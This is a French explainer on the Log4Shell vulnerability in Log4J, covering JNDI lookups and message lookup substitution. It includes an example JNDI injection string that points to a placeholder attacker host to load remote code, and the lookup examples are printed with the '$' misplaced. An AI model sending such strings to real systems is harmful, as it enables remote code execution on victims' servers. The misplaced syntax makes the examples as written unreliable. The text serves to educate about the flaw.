Log4Shell affecte Log4J, une bibliothèque de journalisation open source gérée par l’Apache Software Foundation. Log4J est un logger, c’est à dire un composant logiciel qui enregistre des informations et des événements dans un programme, comme les messages d’erreur et les entrées d’un utilisateur.
Log4J n’est pas un programme autonome, mais un ensemble de code que les développeurs peuvent intégrer à leurs applications Java au lieu de créer des loggers de A à Z. Les grandes organisations comme Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco et bien d’autres utilisent Log4J dans leurs logiciels et leurs services.
Log4Shell résulte de la façon dont les versions vulnérables de Log4J gèrent deux fonctionnalités associées : les recherches Java Naming et Directory Interface (JNDI) et les substitutions de recherche de messages. Chaque fonctionnalité en elle-même est inoffensive, mais l’interaction entre elles constitue une arme puissante pour les pirates.
JNDI est une interface de programmation des applications (API) que les applications utilisent pour accéder aux ressources hébergées sur des serveurs externes. Une recherche JNDI est une commande qui indique à l’application d’accéder à un serveur et de télécharger un objet spécifique, comme un élément de données ou un script. Les anciennes versions de Log4j 2 exécutent automatiquement tout code téléchargé de cette façon.
La substitution de recherche de message permet aux utilisateurs et aux applications d'envoyer des variables à Log4J dans les messages de journal à l'aide d'une syntaxe particulière : ${prefix:name}. Lorsque Log4J rencontre cette syntaxe, il résout la variable et enregistre la valeur dans le journal. Par exemple, si Log4J a reçu un message comme
{java:version}$
il trouverait la version actuelle de Java qui est exécutée sur l’appareil. Dans le journal, il enregistrerait : « Java version X.XX. »
En d’autres termes, Log4J ne traite pas les substitutions de recherche de messages comme du texte brut. Il les traite comme des commandes et agit en fonction de ce qu’elles disent. Les pirates peuvent tirer parti de ce fait pour envoyer des commandes de recherche JNDI malveillantes aux applications qui exécutent des versions vulnérables de Log4J. Par exemple, un pirate informatique pourrait envoyer à Log4J une chaîne comme celle-ci :
{jndi:ldap://myevilwebsite.biz/maliciouscode}$
Lorsque Log4J reçoit ce message, il résout la variable en contactant le serveur à myevilwebsite.biz et en téléchargeant l’objet situé dans l’emplacement /maliciouscode. Ce processus conduirait Log4J à exécuter le code Java que le pirate a caché à cet endroit, généralement un logiciel malveillant.